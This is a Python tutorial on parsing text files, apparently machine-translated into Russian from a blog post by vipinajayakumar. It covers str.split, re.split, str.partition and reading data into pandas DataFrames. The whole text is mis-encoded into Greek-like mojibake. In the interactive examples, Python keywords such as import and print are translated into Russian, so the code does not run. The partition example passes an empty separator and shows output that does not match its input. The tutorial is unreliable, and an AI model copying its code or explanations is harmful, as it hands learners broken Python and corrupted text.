ΠΡΠ»ΠΈ Π²Ρ Π½Π΅ ΠΏΠ΅ΡΠ΅Π΄Π°Π΅ΡΠ΅ Π½ΠΈΠΊΠ°ΠΊΠΈΡ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΎΠ² ΠΌΠ΅ΡΠΎΠ΄Ρ ΡΠ°Π·Π΄Π΅Π»Π΅Π½ΠΈΡ Python, Π² Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠ°ΡΠΈΠΈ Π³ΠΎΠ²ΠΎΡΠΈΡΡΡ: Β«ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΡΠ΅ ΠΏΡΠΎΠ±Π΅Π»Ρ ΡΠ°ΡΡΠΌΠ°ΡΡΠΈΠ²Π°ΡΡΡΡ ΠΊΠ°ΠΊ ΠΎΠ΄ΠΈΠ½ ΡΠ°Π·Π΄Π΅Π»ΠΈΡΠ΅Π»Ρ, ΠΈ ΡΠ΅Π·ΡΠ»ΡΡΠ°Ρ Π½Π΅ Π±ΡΠ΄Π΅Ρ ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΡ ΠΏΡΡΡΡΡ ΡΡΡΠΎΠΊ Π² Π½Π°ΡΠ°Π»Π΅ ΠΈΠ»ΠΈ Π² ΠΊΠΎΠ½ΡΠ΅, Π΅ΡΠ»ΠΈ ΡΡΡΠΎΠΊΠ° ΠΈΠΌΠ΅Π΅Ρ Π½Π°ΡΠ°Π»ΡΠ½ΡΠ΅ ΠΈΠ»ΠΈ ΠΊΠΎΠ½Π΅ΡΠ½ΡΠ΅ ΠΏΡΠΎΠ±Π΅Π»ΡΒ».
ΠΠ΅ΡΠΆΠΈΡΠ΅ΡΡ Π·Π° ΡΠ»ΡΠΏΡ, ΠΏΠ°ΡΠ½ΠΈ, ΠΏΡΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡΡΠΉΡΠ΅ ΡΠ΅Π³ΡΠ»ΡΡΠ½ΠΎΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅:
el @ apollo: ~ / foo $ python
>>> mystring = 'zzzzzzabczzzzzzdefzzzzzzzzzghizzzzzzzzzzzz'
>>> ΠΈΠΌΠΏΠΎΡΡ ΡΠ΅
>>> mylist = re.split ("[a-m] +", mystring)
>>> ΡΠ°ΡΠΏΠ΅ΡΠ°ΡΠ°ΡΡ ΠΌΠΎΠΉ ΡΠΏΠΈΡΠΎΠΊ
['zzzzzz', 'zzzzzz', 'zzzzzzzzz', 'zzzzzzzzzzzz']
Π Π΅Π³ΡΠ»ΡΡΠ½ΠΎΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ Β«[a-m] +Β» ΠΎΠ·Π½Π°ΡΠ°Π΅Ρ, ΡΡΠΎ ΡΡΡΠΎΡΠ½ΡΠ΅ Π±ΡΠΊΠ²Ρ ΠΎΡ a
Π΄ΠΎ m
, Π²ΡΡΡΠ΅ΡΠ°ΡΡΠΈΠ΅ΡΡ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΡΠ°Π·, ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡΡ Π² ΠΊΠ°ΡΠ΅ΡΡΠ²Π΅ ΡΠ°Π·Π΄Π΅Π»ΠΈΡΠ΅Π»Ρ. re
— ΡΡΠΎ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠ° Π΄Π»Ρ ΠΈΠΌΠΏΠΎΡΡΠ°.
ΠΠ»ΠΈ, Π΅ΡΠ»ΠΈ Π²Ρ Ρ ΠΎΡΠΈΡΠ΅ ΠΏΠ΅ΡΠ΅ΠΆΠ΅Π²ΡΠ²Π°ΡΡ ΠΏΡΠ΅Π΄ΠΌΠ΅ΡΡ ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡ:
el @ apollo: ~ / foo $ python
>>> mystring = "Π ΡΡΠΎΠΉ ΡΡΠΌΠ°Π½Π½ΠΎΡΡΠΈ Π΅ΡΡΡ ΠΊΠΎΡΠ΅"
>>> mytuple = mystring.ΡΠ°Π·Π΄Π΅Π» ("")
>>> ΡΠΈΠΏ ΠΏΠ΅ΡΠ°ΡΠΈ (mytuple)
<Π²Π²Π΅Π΄ΠΈΡΠ΅ "ΠΊΠΎΡΡΠ΅ΠΆ">
>>> Π½Π°ΠΏΠ΅ΡΠ°ΡΠ°ΡΡ mytuple
('theres', '', 'ΠΊΠΎΡΠ΅ Π² ΡΡΠΎΠΉ ΡΡΠΌΠ°Π½Π½ΠΎΡΡΠΈ')
>>> Π²ΡΠ²Π΅ΡΡΠΈ mytuple [0]
Π΅ΡΡΡ
>>> Π²ΡΠ²Π΅ΡΡΠΈ mytuple [2]
ΠΊΠΎΡΠ΅ Π² ΡΡΠΎΠΉ ΡΡΠΌΠ°Π½Π½ΠΎΡΡΠΈ
ΠΠ½Π°Π»ΠΈΠ· ΡΠ΅ΠΊΡΡΠ° Ρ ΠΏΠΎΠΌΠΎΡΡΡ Python Β· vipinajayakumar
Π― Π½Π΅Π½Π°Π²ΠΈΠΆΡ ΠΏΠ°ΡΡΠΈΡΡ ΡΠ°ΠΉΠ»Ρ, Π½ΠΎ ΡΡΠΎ ΡΠΎ, ΡΡΠΎ ΠΌΠ½Π΅ ΠΏΡΠΈΡ ΠΎΠ΄ΠΈΠ»ΠΎΡΡ Π΄Π΅Π»Π°ΡΡ Π² Π½Π°ΡΠ°Π»Π΅ ΠΏΠΎΡΡΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΡΠΎΠ΅ΠΊΡΠ°. Π Π°Π·Π±ΠΎΡ — Π΄Π΅Π»ΠΎ Π½Π΅ΠΏΡΠΎΡΡΠΎΠ΅, ΠΈ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ ΡΡΠ°ΡΡ ΠΊΠ°ΠΌΠ½Π΅ΠΌ ΠΏΡΠ΅ΡΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΡ Π΄Π»Ρ Π½ΠΎΠ²ΠΈΡΠΊΠΎΠ². ΠΠ΄Π½Π°ΠΊΠΎ, ΠΊΠ°ΠΊ ΡΠΎΠ»ΡΠΊΠΎ Π²Ρ ΠΎΡΠ²ΠΎΠΈΡΠ΅ΡΡ Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΌ Π°Π½Π°Π»ΠΈΠ·ΠΎΠΌ ΡΠ°ΠΉΠ»ΠΎΠ², Π²Π°ΠΌ Π±ΠΎΠ»ΡΡΠ΅ Π½Π΅ ΠΏΡΠΈΠ΄Π΅ΡΡΡ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡΡΡΡ ΠΎΠ± ΡΡΠΎΠΉ ΡΠ°ΡΡΠΈ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡ.ΠΠΎΡ ΠΏΠΎΡΠ΅ΠΌΡ Ρ ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡΡ Π½ΠΎΠ²ΠΈΡΠΊΠ°ΠΌ ΠΎΡΠ²ΠΎΠΈΡΡΡΡ Ρ Π°Π½Π°Π»ΠΈΠ·ΠΎΠΌ ΡΠ°ΠΉΠ»ΠΎΠ² Π½Π° ΡΠ°Π½Π½ΠΈΡ ΡΡΠ°ΠΏΠ°Ρ ΠΎΠ±ΡΡΠ΅Π½ΠΈΡ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠΈΡΠΎΠ²Π°Π½ΠΈΡ. ΠΡΠ° ΡΡΠ°ΡΡΡ ΠΏΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½Π° Π΄Π»Ρ Π½Π°ΡΠΈΠ½Π°ΡΡΠΈΡ Python, ΠΊΠΎΡΠΎΡΡΠΌ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΠΎ Π½Π°ΡΡΠΈΡΡΡΡ Π°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ ΡΠ΅ΠΊΡΡΠΎΠ²ΡΠ΅ ΡΠ°ΠΉΠ»Ρ.
Π ΡΡΠΎΠΉ ΡΡΠ°ΡΡΠ΅ Ρ ΠΏΠΎΠ·Π½Π°ΠΊΠΎΠΌΠ»Ρ Π²Π°Ρ ΡΠΎ ΡΠ²ΠΎΠ΅ΠΉ ΡΠΈΡΡΠ΅ΠΌΠΎΠΉ ΠΏΠ°ΡΡΠΈΠ½Π³Π° ΡΠ°ΠΉΠ»ΠΎΠ². Π― ΠΊΡΠ°ΡΠΊΠΎ ΠΊΠΎΡΠ½ΡΡΡ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° ΡΠ°ΠΉΠ»ΠΎΠ² Π² ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΡ ΡΠΎΡΠΌΠ°ΡΠ°Ρ , Π½ΠΎ Ρ Ρ ΠΎΡΡ ΡΠΎΡΡΠ΅Π΄ΠΎΡΠΎΡΠΈΡΡΡΡ Π½Π° ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠΌ Π°Π½Π°Π»ΠΈΠ·Π΅ ΡΠ»ΠΎΠΆΠ½ΡΡ ΡΠ΅ΠΊΡΡΠΎΠ²ΡΡ ΡΠ°ΠΉΠ»ΠΎΠ². Π§ΡΠΎ Ρ ΠΈΠΌΠ΅Ρ Π² Π²ΠΈΠ΄Ρ ΠΏΠΎΠ΄ ΡΠ»ΠΎΠΆΠ½ΡΠΌ? Π§ΡΠΎ ΠΆ, ΠΌΡ Π΄ΠΎ ΡΡΠΎΠ³ΠΎ Π΄ΠΎΠ±Π΅ΡΠ΅ΠΌΡΡ, ΠΌΠΎΠ»ΠΎΠ΄ΠΎΠΉ ΠΏΠ°Π΄Π°Π²Π°Π½.
ΠΠ»Ρ ΡΠΏΡΠ°Π²ΠΊΠΈ, Π·Π΄Π΅ΡΡ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡΠΈ Π½Π°Π±ΠΎΡ ΡΠ»Π°ΠΉΠ΄ΠΎΠ², ΠΊΠΎΡΠΎΡΡΠ΅ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ Π΄Π»Ρ ΠΏΡΠ΅Π·Π΅Π½ΡΠ°ΡΠΈΠΈ ΠΏΠΎ ΡΡΠΎΠΉ ΡΠ΅ΠΌΠ΅.ΠΠ΅ΡΡ ΠΊΠΎΠ΄ ΠΈ ΠΎΠ±ΡΠ°Π·Π΅Ρ ΡΠ΅ΠΊΡΡΠ°, ΠΊΠΎΡΠΎΡΡΠ΅ Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ, Π΄ΠΎΡΡΡΠΏΠ½Ρ Π² ΠΌΠΎΠ΅ΠΌ ΡΠ΅ΠΏΠΎΠ·ΠΈΡΠΎΡΠΈΠΈ Github Π·Π΄Π΅ΡΡ.
ΠΠΎ-ΠΏΠ΅ΡΠ²ΡΡ , Π΄Π°Π²Π°ΠΉΡΠ΅ ΡΠ°Π·Π±Π΅ΡΠ΅ΠΌΡΡ, Π² ΡΠ΅ΠΌ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ°. ΠΠ°ΡΠ΅ΠΌ Π²ΠΎΠΎΠ±ΡΠ΅ Π½ΡΠΆΠ½ΠΎ ΡΠ°Π·Π±ΠΈΡΠ°ΡΡ ΡΠ°ΠΉΠ»Ρ? Π Π²ΠΎΠΎΠ±ΡΠ°ΠΆΠ°Π΅ΠΌΠΎΠΌ ΠΌΠΈΡΠ΅, Π³Π΄Π΅ Π²ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅ ΡΡΡΠ΅ΡΡΠ²ΠΎΠ²Π°Π»ΠΈ Π² ΠΎΠ΄Π½ΠΎΠΌ ΡΠΎΡΠΌΠ°ΡΠ΅, ΠΌΠΎΠΆΠ½ΠΎ Π±ΡΠ»ΠΎ ΠΎΠΆΠΈΠ΄Π°ΡΡ, ΡΡΠΎ Π²ΡΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΡ Π±ΡΠ΄ΡΡ Π²Π²ΠΎΠ΄ΠΈΡΡ ΠΈ Π²ΡΠ²ΠΎΠ΄ΠΈΡΡ ΡΡΠΈ Π΄Π°Π½Π½ΡΠ΅. ΠΠ΅ Π±ΡΠ»ΠΎ Π±Ρ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎΡΡΠΈ ΡΠ°Π·Π±ΠΈΡΠ°ΡΡ ΡΠ°ΠΉΠ»Ρ. ΠΠ΄Π½Π°ΠΊΠΎ ΠΌΡ ΠΆΠΈΠ²Π΅ΠΌ Π² ΠΌΠΈΡΠ΅, Π³Π΄Π΅ ΡΡΡΠ΅ΡΡΠ²ΡΠ΅Ρ Π±ΠΎΠ»ΡΡΠΎΠ΅ ΡΠ°Π·Π½ΠΎΠΎΠ±ΡΠ°Π·ΠΈΠ΅ ΡΠΎΡΠΌΠ°ΡΠΎΠ² Π΄Π°Π½Π½ΡΡ . ΠΠ΅ΠΊΠΎΡΠΎΡΡΠ΅ ΡΠΎΡΠΌΠ°ΡΡ Π΄Π°Π½Π½ΡΡ Π»ΡΡΡΠ΅ ΠΏΠΎΠ΄Ρ ΠΎΠ΄ΡΡ Π΄Π»Ρ ΡΠ°Π·Π½ΡΡ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ. ΠΠΎΠΆΠ½ΠΎ ΠΎΠΆΠΈΠ΄Π°ΡΡ, ΡΡΠΎ ΠΎΡΠ΄Π΅Π»ΡΠ½Π°Ρ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ° Π±ΡΠ΄Π΅Ρ ΠΎΠ±ΡΠ»ΡΠΆΠΈΠ²Π°ΡΡ ΡΠΎΠ»ΡΠΊΠΎ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΠΈΠ· ΡΡΠΈΡ ΡΠΎΡΠΌΠ°ΡΠΎΠ² Π΄Π°Π½Π½ΡΡ .Π’Π°ΠΊΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ, Π½Π΅ΠΈΠ·Π±Π΅ΠΆΠ½ΠΎ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΎΡΡΡ ΠΊΠΎΠ½Π²Π΅ΡΡΠΈΡΠΎΠ²Π°ΡΡ Π΄Π°Π½Π½ΡΠ΅ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΡΠΎΡΠΌΠ°ΡΠ° Π² Π΄ΡΡΠ³ΠΎΠΉ Π΄Π»Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ ΡΠ°Π·Π»ΠΈΡΠ½ΡΠΌΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ°ΠΌΠΈ. ΠΠ½ΠΎΠ³Π΄Π° Π΄Π°Π½Π½ΡΠ΅ Π΄Π°ΠΆΠ΅ Π½Π΅ Π² ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΠΎΠΌ ΡΠΎΡΠΌΠ°ΡΠ΅, ΡΡΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡΡΠ»ΠΎΠΆΠ½ΡΠ΅Ρ Π·Π°Π΄Π°ΡΡ.
ΠΡΠ°ΠΊ, ΡΡΠΎ ΡΠ°ΠΊΠΎΠ΅ ΠΏΠ°ΡΡΠΈΠ½Π³?
- Π Π°Π·ΠΎΠ±ΡΠ°ΡΡ
- ΠΠ½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ (ΡΡΡΠΎΠΊΡ ΠΈΠ»ΠΈ ΡΠ΅ΠΊΡΡ) Π½Π° Π»ΠΎΠ³ΠΈΡΠ΅ΡΠΊΠΈΠ΅ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΡ.
ΠΠ½Π΅ Π½Π΅ Π½ΡΠ°Π²ΠΈΡΡΡ ΠΏΡΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π²ΡΡΠ΅ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΈΠ· ΠΠΊΡΡΠΎΡΠ΄ΡΠΊΠΎΠ³ΠΎ ΡΠ»ΠΎΠ²Π°ΡΡ. ΠΡΠ°ΠΊ, Π²ΠΎΡ ΠΌΠΎΠ΅ Π°Π»ΡΡΠ΅ΡΠ½Π°ΡΠΈΠ²Π½ΠΎΠ΅ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅.
- Π Π°Π·ΠΎΠ±ΡΠ°ΡΡ
- ΠΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π΄Π°Π½Π½ΡΡ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ ΡΠΎΡΠΌΠ°ΡΠ° Π² Π±ΠΎΠ»Π΅Π΅ ΡΠ΄ΠΎΠ±Π½ΡΠΉ ΡΠΎΡΠΌΠ°Ρ.
ΠΠΌΠ΅Ρ Π² Π²ΠΈΠ΄Ρ ΡΡΠΎ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅, ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡΠ΅Π΄ΡΡΠ°Π²ΠΈΡΡ, ΡΡΠΎ Π½Π°Ρ Π²Π²ΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ Π² Π»ΡΠ±ΠΎΠΌ ΡΠΎΡΠΌΠ°ΡΠ΅. ΠΡΠ°ΠΊ, ΠΏΠ΅ΡΠ²ΡΠΉ ΡΠ°Π³, ΠΊΠΎΠ³Π΄Π° Π²Ρ ΡΡΠ°Π»ΠΊΠΈΠ²Π°Π΅ΡΠ΅ΡΡ Ρ Π»ΡΠ±ΠΎΠΉ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠΎΠΉ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°, — ΡΡΠΎ ΠΏΠΎΠ½ΡΡΡ ΡΠΎΡΠΌΠ°Ρ Π²Ρ ΠΎΠ΄Π½ΡΡ Π΄Π°Π½Π½ΡΡ . ΠΡΠ»ΠΈ ΠΏΠΎΠ²Π΅Π·Π΅Ρ, Π±ΡΠ΄Π΅Ρ Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠ°ΡΠΈΡ, ΠΎΠΏΠΈΡΡΠ²Π°ΡΡΠ°Ρ ΡΠΎΡΠΌΠ°Ρ Π΄Π°Π½Π½ΡΡ . ΠΡΠ»ΠΈ Π½Π΅Ρ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΠΌ ΠΏΡΠΈΠ΄Π΅ΡΡΡ ΡΠ°ΡΡΠΈΡΡΠΎΠ²Π°ΡΡ ΡΠΎΡΠΌΠ°Ρ Π΄Π°Π½Π½ΡΡ ΡΠ°ΠΌΠΎΡΡΠΎΡΡΠ΅Π»ΡΠ½ΠΎ. ΠΡΠΎ Π²ΡΠ΅Π³Π΄Π° Π²Π΅ΡΠ΅Π»ΠΎ.
ΠΠΎΡΠ»Π΅ ΡΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ ΡΠ°Π·Π±Π΅ΡΠ΅ΡΠ΅ΡΡ Ρ Π²Ρ
ΠΎΠ΄Π½ΡΠΌΠΈ Π΄Π°Π½Π½ΡΠΌΠΈ, ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΡΠ°Π³ΠΎΠΌ Π±ΡΠ΄Π΅Ρ ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π±ΠΎΠ»Π΅Π΅ ΡΠ΄ΠΎΠ±Π½ΠΎΠ³ΠΎ ΡΠΎΡΠΌΠ°ΡΠ°. Π§ΡΠΎ ΠΆ, ΡΡΠΎ ΠΏΠΎΠ»Π½ΠΎΡΡΡΡ Π·Π°Π²ΠΈΡΠΈΡ ΠΎΡ ΡΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ ΠΏΠ»Π°Π½ΠΈΡΡΠ΅ΡΠ΅ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π΄Π°Π½Π½ΡΠ΅.ΠΡΠ»ΠΈ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ°, Π² ΠΊΠΎΡΠΎΡΡΡ Π²Ρ Ρ
ΠΎΡΠΈΡΠ΅ Π²Π²Π΅ΡΡΠΈ Π΄Π°Π½Π½ΡΠ΅, ΠΎΠΆΠΈΠ΄Π°Π΅Ρ ΡΠΎΡΠΌΠ°Ρ CSV, ΡΠΎ ΡΡΠΎ Π²Π°Ρ ΠΊΠΎΠ½Π΅ΡΠ½ΡΠΉ ΠΏΡΠΎΠ΄ΡΠΊΡ. ΠΠ»Ρ Π΄Π°Π»ΡΠ½Π΅ΠΉΡΠ΅Π³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° Π΄Π°Π½Π½ΡΡ
Ρ Π½Π°ΡΡΠΎΡΡΠ΅Π»ΡΠ½ΠΎ ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡΡ ΠΏΡΠΎΡΠΈΡΠ°ΡΡ Π΄Π°Π½Π½ΡΠ΅ Π² pandas DataFrame
.
ΠΡΠ»ΠΈ Π²Ρ Π°Π½Π°Π»ΠΈΡΠΈΠΊ Π΄Π°Π½Π½ΡΡ
Python, ΡΠΎ, ΡΠΊΠΎΡΠ΅Π΅ Π²ΡΠ΅Π³ΠΎ, Π²Ρ Π·Π½Π°ΠΊΠΎΠΌΡ Ρ pandas. ΠΡΠΎ ΠΏΠ°ΠΊΠ΅Ρ Python, ΠΊΠΎΡΠΎΡΡΠΉ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»ΡΠ΅Ρ ΠΊΠ»Π°ΡΡ DataFrame
ΠΈ Π΄ΡΡΠ³ΠΈΠ΅ ΡΡΠ½ΠΊΡΠΈΠΈ Π΄Π»Ρ Π±Π΅Π·ΡΠΌΠ½ΠΎ ΠΌΠΎΡΠ½ΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° Π΄Π°Π½Π½ΡΡ
Ρ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡΠ½ΡΠΌΠΈ ΡΡΠΈΠ»ΠΈΡΠΌΠΈ. ΠΡΠΎ Π°Π±ΡΡΡΠ°ΠΊΡΠΈΡ ΠΏΠΎΠ²Π΅ΡΡ
Numpy, ΠΊΠΎΡΠΎΡΠ°Ρ ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²Π»ΡΠ΅Ρ ΠΌΠ½ΠΎΠ³ΠΎΠΌΠ΅ΡΠ½ΡΠ΅ ΠΌΠ°ΡΡΠΈΠ²Ρ, ΠΏΠΎΡ
ΠΎΠΆΠΈΠ΅ Π½Π° Matlab. DataFrame
— ΡΡΠΎ 2D-ΠΌΠ°ΡΡΠΈΠ², Π½ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ ΠΈΠΌΠ΅ΡΡ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ ΠΈΠ½Π΄Π΅ΠΊΡΠΎΠ² ΡΡΡΠΎΠΊ ΠΈ ΡΡΠΎΠ»Π±ΡΠΎΠ², ΠΊΠΎΡΠΎΡΡΠ΅ pandas Π½Π°Π·ΡΠ²Π°Π΅Ρ MultiIndex
, ΡΡΠΎ ΠΏΠΎ ΡΡΡΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Ρ
ΡΠ°Π½ΠΈΡΡ ΠΌΠ½ΠΎΠ³ΠΎΠΌΠ΅ΡΠ½ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅. ΠΠΏΠ΅ΡΠ°ΡΠΈΠΈ Π² ΡΡΠΈΠ»Π΅ SQL ΠΈΠ»ΠΈ Π±Π°Π·Ρ Π΄Π°Π½Π½ΡΡ
ΠΌΠΎΠ³ΡΡ Π±ΡΡΡ Π»Π΅Π³ΠΊΠΎ Π²ΡΠΏΠΎΠ»Π½Π΅Π½Ρ Ρ ΠΏΠΎΠΌΠΎΡΡΡ pandas (ΡΡΠ°Π²Π½Π΅Π½ΠΈΠ΅ Ρ SQL). Pandas ΡΠ°ΠΊΠΆΠ΅ ΠΏΠΎΡΡΠ°Π²Π»ΡΠ΅ΡΡΡ Ρ Π½Π°Π±ΠΎΡΠΎΠΌ ΠΈΠ½ΡΡΡΡΠΌΠ΅Π½ΡΠΎΠ² Π²Π²ΠΎΠ΄Π°-Π²ΡΠ²ΠΎΠ΄Π°, ΠΊΠΎΡΠΎΡΡΠΉ Π²ΠΊΠ»ΡΡΠ°Π΅Ρ ΡΡΠ½ΠΊΡΠΈΠΈ Π΄Π»Ρ ΡΠ°Π±ΠΎΡΡ Ρ CSV, MS Excel, JSON, HDF5 ΠΈ Π΄ΡΡΠ³ΠΈΠΌΠΈ ΡΠΎΡΠΌΠ°ΡΠ°ΠΌΠΈ Π΄Π°Π½Π½ΡΡ
.
Π₯ΠΎΡΡ ΠΌΡ Ρ
ΠΎΡΠ΅Π»ΠΈ Π±Ρ ΡΡΠΈΡΡΠ²Π°ΡΡ Π΄Π°Π½Π½ΡΠ΅ Π² ΠΌΠ½ΠΎΠ³ΠΎΡΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π»ΡΠ½ΡΡ ΡΡΡΡΠΊΡΡΡΡ Π΄Π°Π½Π½ΡΡ
, ΡΠ°ΠΊΡΡ ββΠΊΠ°ΠΊ pandas DataFrame
, Π±ΡΠ»ΠΎ Π±Ρ ΠΎΡΠ΅Π½Ρ Π½Π΅ΡΡΡΠ΅ΠΊΡΠΈΠ²Π½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°ΡΡ ΠΏΡΡΡΠΎΠΉ DataFrame
ΠΈ Π½Π°ΠΏΡΡΠΌΡΡ Π·Π°ΠΏΠΈΡΡΠ²Π°ΡΡ Π² Π½Π΅Π³ΠΎ Π΄Π°Π½Π½ΡΠ΅. DataFrame
— ΡΡΠΎ ΡΠ»ΠΎΠΆΠ½Π°Ρ ΡΡΡΡΠΊΡΡΡΠ° Π΄Π°Π½Π½ΡΡ
, ΠΈ Π·Π°ΠΏΠΈΡΡ ΡΠ΅Π³ΠΎ-Π»ΠΈΠ±ΠΎ Π² DataFrame
ΡΠ»Π΅ΠΌΠ΅Π½Ρ Π·Π° ΡΠ»Π΅ΠΌΠ΅Π½ΡΠΎΠΌ ΡΡΠ΅Π±ΡΠ΅Ρ Π±ΠΎΠ»ΡΡΠΈΡ
Π²ΡΡΠΈΡΠ»ΠΈΡΠ΅Π»ΡΠ½ΡΡ
ΡΠ΅ΡΡΡΡΠΎΠ². ΠΠ°ΠΌΠ½ΠΎΠ³ΠΎ Π±ΡΡΡΡΠ΅Π΅ ΡΠΈΡΠ°ΡΡ Π΄Π°Π½Π½ΡΠ΅ Π² ΠΏΡΠΈΠΌΠΈΡΠΈΠ²Π½ΠΎΠΌ ΡΠΈΠΏΠ΅ Π΄Π°Π½Π½ΡΡ
, ΡΠ°ΠΊΠΎΠΌ ΠΊΠ°ΠΊ ΡΠΏΠΈΡΠΎΠΊ
ΠΈΠ»ΠΈ dict
. ΠΠΎΡΠ»Π΅ ΡΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΡΠΏΠΈΡΠΎΠΊ ΠΈΠ»ΠΈ dict ΡΠΎΠ·Π΄Π°Π½, pandas ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ Π½Π°ΠΌ Π»Π΅Π³ΠΊΠΎ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΡ Π΅Π³ΠΎ Π² DataFrame
, ΠΊΠ°ΠΊ Π²Ρ ΡΠ²ΠΈΠ΄ΠΈΡΠ΅ ΠΏΠΎΠ·ΠΆΠ΅. ΠΠ° ΠΈΠ·ΠΎΠ±ΡΠ°ΠΆΠ΅Π½ΠΈΠΈ Π½ΠΈΠΆΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠΉ ΠΏΡΠΎΡΠ΅ΡΡ Π°Π½Π°Π»ΠΈΠ·Π° Π»ΡΠ±ΠΎΠ³ΠΎ ΡΠ°ΠΉΠ»Π°.
